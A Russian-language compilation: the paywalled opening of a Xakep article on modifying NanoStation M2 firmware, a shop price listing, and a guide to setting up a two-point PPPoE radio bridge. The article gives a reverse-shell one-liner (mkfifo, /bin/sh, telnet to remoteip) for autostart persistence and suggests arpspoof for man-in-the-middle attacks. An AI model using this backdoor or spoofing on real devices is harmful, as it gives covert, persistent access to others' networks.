NanoStation M2 фирмы Ubiquiti — это всепогодная точка доступа, предназначенная для построения беспроводных мостов на расстояние десять и более километров. Может работать в режиме радиомоста, точки доступа, репитера. В качестве процессора в ней используется чип Atheros AR2315 (MIPS 4KC, 180 МГц). Имеет на борту 32 Мбайт оперативной памяти и 8 Мбайт флеш. То есть это, по сути, мини-компьютер, построенный на архитектуре MIPS, с установленным Linux на борту. А это значит, что можно модифицировать его под свои нужды. Каким образом? Об этом и поговорим.
Зачем оно надо?
Кто-то может с самого начала небезосновательно задать вопрос: а зачем, собственно, ковырять прошивку? Ведь можно взять готовый SDK и собрать свою прошивку с практически любым набором программ. Отвечу. Во-первых, ребята из Ubiquiti свернули программу по распространению SDK, во-вторых, при сборке SDK может возникнуть куча проблем (у меня, например, так и не получилось собрать работоспособную версию кастомной прошивки). Ну и в-третьих, как ни парадоксально, модификация готовой прошивки требует минимум инструментов и времени.
Для чего вообще это все может понадобиться? Для добавления функциональности, не предусмотренной базовой прошивкой. Например, для создания обратных тоннелей. Добавив в автозагрузку вот это:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | telnet remoteip remoteport > /tmp/f
где remoteip
— адрес, куда необходимо подключиться, remoteport
— удаленный порт, можно получить доступ к устройству даже после сброса или смены логина/пароля. Для добавления всяких сканеров (я успешно добавил knocker, это, конечно, не Nmap, но все же), спуферов (собрав тот же arpspoof, можно реализовать атаку man in the middle, тем более что tcpdump уже имеется в базовой прошивке) и прочих прелестей (например, собрав OpenVPN, можно получить доступ к сети, где стоит наша железка, из любого места). В общем, при желании и наличии фантазии можно сделать из NanoStation M2 отличный инструмент для взлома.
Инструменты
Я проводил все эксперименты на прошивке версии 5.5.4, 6-я версия имеет незначительные отличия, но аналогичным образом можно изменить и ее. Все действия совершались в виртуальной машине, на которой был установлен Arch Linux. Прежде всего для работы нам понадобится binwalk. В Arch’e ставим так: pacman -S binwalk
. Также необходим кросс-компилятор для архитектуры MIPS. Тот, который использовал я, можешь взять отсюда. Его нужно распаковать в удобный каталог. У меня он лежит в /root/toolchains/cross-compiler-mips
. Ну и собственно сам файл прошивки XM-v5.5.4.build16501.bin. Еще потребуются утилиты для работы со squashfs, а также какой-нибудь hex-редактор. Я использовал hexedit, установить его просто: pacman -S squashfs-tools hexedit
. Да, для вычисления контрольных сумм я поставил пакет perl-archive-zip: pacman -S perl-archive-zip
, в нем есть скрипт crc32, он и будет нам нужен. Итак, начнем.
Общее строение прошивки
Перед тем как что-то менять, ознакомимся с внутренним устройством прошивки. В общем случае она представляет собой бинарный файл, который состоит из следующих частей:
- Ubiquiti firmware header — заголовок прошивки. Содержит строку с версией прошивки.
- Ubiquiti partition header — заголовок первого раздела (PARTu-boot). Здесь содержится основная информация о разделе u-boot: размер, адреса памяти для загрузки, максимальный размер и так далее. Стоит отметить, что формат заголовков разделов один и тот же, меняются только значения параметров для соответствующих разделов (имена, размеры, адреса памяти).
- Загрузчик u-boot — собственно сам загрузчик.
- Ubiquiti partition header — заголовок второго раздела (PARTkernel). Описывает раздел PARTkernel (см. п. 2).
- Образ ядра, сжатый алгоритмом LZMA. В основном используется ядро версии 2.6.х.
- Ubiquiti partition header — заголовок третьего раздела (PARTrootfs). Описание раздела с файловой системой.
- Образ файловой системы squashfs, сжатый алгоритмом LZMA. С этим образом мы и будем работать.
- Данные, сжатые gzip. Они нам не понадобятся, поэтому опустим подробности, что они собой представляют.
Базовая информация о строении прошивки была получена отсюда.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»← Ранее Более 20 моделей роутеров Linksys уязвимы перед атаками и могут стать частью ботнетовДалее → Очередная уязвимость в LastPass позволяла обойти двухфакторную аутентификацию
АРТИКУЛ: 000 549SKU: NSM2 Производитель:UbiquitiГарантия: 1 год Категория:Радиомосты, CPE, PtMP-оборудованиеEAN: 810354022517 шт.—> В наличии шт.—>
72.06 €87.80 $6 433 pв т.ч. НДС 20% В корзину—> В корзинуВ избранное- Розничный72.06 €
- Бронзовый70.91 €
- Серебряный69.93 €
- Золотой68.86 €
- Платиновый68.70 €
- Розничный87.80 $
- Бронзовый86.40 $
- Серебряный85.20 $
- Золотой83.90 $
- Платиновый83.70 $
- Розничный6 433 p
- Бронзовый6 330 p
- Серебряный6 242 p
- Золотой6 147 p
- Платиновый6 132 p
Партнёрская программа
Установка «Под ключ»
- Проектирование любой сложности
- Подготовим документацию
- Произведем монтаж и настройку
- Возьмем на обслуживание
—>
Сопутствующие товары:
В наличии 193 шт.—>
Кронштейн Ubiquiti Universal Arm Bracket
5.48 €6.68 $489 pВ наличии 8 шт.—>
Крепление Ubiquiti NanoMount
5.88 €7.17 $525 pВ наличии 948 шт.—>
Крепление Ubiquiti Window/Wall Mounting Kit
18.69 €22.77 $1 668 pВ наличии 116 шт.—>
Преобразователь питания Ubiquiti Instant 802.3af Outdoor Gigabit PoE Converter
21.13 €25.75 $1 887 p
В нашу рубрику пришло Техническое задание от читателя.Необходимо подать в частный дом интернет от удаленного на расстоянии 300 метров оборудования провайдера.Клиентом были куплены две точки Nanostation Loco M2.
Начнем настройку первой точки, которая подключается к оборудованию интернет провайдера.Интернет провайдер предоставляет тип подключения PPPOE.
1.Подключаем устройство через POE инжектор к компьютеру для настройки. 2.Вбиваем в браузере адрес, который по умолчанию должен быть 192.168.1.20. 3.Логин и пароль по умолчанию ubnt. Выбор прошивки оставляем на ваше усмотрение, мы установили v.5.5.6, которая заливается через вкладку SYSTEM. 4.Настройку начнем с вкладки Wireless – Basic Wirelles Setings. Так как эта точка будет передавать сигнал на “домашнюю” точку, параметр Wireless Mode ставим Access Point.WDS – EnableSSID – задаем имя вашей точки, которое можно будет скрыть поставив галочку “Hide SSID” Остальные параметры настройки канала (ширина, частота) делаются на свой вкус, как сделали мы вы увидите на скрине. 5.вкладка Wireless – Wirelles Security. Настраиваем параметры безопасности точки.Security: WPA2-AESWPA Autentification: PSKWPA Preshared Key: Устанавливаем наш пароль.MAC ACL – можно поставить галочку и создать белый лист подключений по маку.
6.Вкладка Advanced. Здесь мы все оставляем без изменений, можно только выставить дистанцию на которую мы собираемся стрелять.Так как у нас расстояние не большое мы выбрали 0.6 км.
7.Вкладка Network.Network Mode – Router.Wan ip address мы выбираем PPPOE по типу подключения, которое предоставляет интернет провайдер и заполняем Логины и Пароль. Задаем Имя подключенияFailback IP: – указываем ip по которому можно будет подключиться к устройству, при потере основного соединения.NAT – Enable.NAT Protocol – включаем все галочки.Auto IP Aliasing – Галочка.
раздел LAN Network Settings. Задаем ip внутренней сети радиоточек. Наша точка. 192.168.1.1 255.255.255.0
Включаем на ней DHCP Server – Enable. Задаем диапазон, который можно ограничить менее широкой сеткой чем мы сделали. Начало диапазон 192.168.1.2 Конец диапазон 192.168.1.254 Маска 255.255.255.0 DNS Proxy – Enable
Не забываем после настройки вкладки нажать Change – Apply. На этом настройка данной точки закончена, можем идти устанавливать.
Настроим вторую точку. 1.Настройку начнем с вкладки Wireless – Basic Wirelles Setings. Данную точку мы устанавливаем на фасад нашего частного дома и будем через нее принимать сигнал.Network Mode – Router.WDS – EnableSSID – имя точки должно соответствовать тому имени, которое установлено было на первой точке, также ее можно выбрать нажав кнопку Select. 1.вкладка Wireless – Wirelles Security Настраиваем параметры безопасности точки.Security: WPA2-AESWPA Autentification: PSKWPA Preshared Key: вводим пароль как и на первой точке.MAC ACL – можно поставить галочку и создать белый лист подключений по маку. Не забываем после настройки вкладки нажать Cheange – Apply.2.Вкладка Advanced. Можем оставить без изменений, в разделе Distatce мы поставили Auto Adjust.7.Вкладка Network.Network Mode – Bridge. Забиваем внутренний статический Ip из диапазона, который мы указали в первой точке. Наша точка. 192.168.1.2 255.255.255.0 В качестве шлюза и dns указываем первую точку 192.168.1.1.
Используемые источники:
- https://xakep.ru/2017/04/24/ubiquiti-nanostation-m2-firmware/
- https://treolink.ru/katalog/besprovodnoe-oborudovanie/bazovye-stantsii-radiomosty-besprovodnye-klienty/brands/ubiquiti-nanostation-m2/
- https://adminwin.ru/wi-fi-radiomost-nanostation-loco-m2/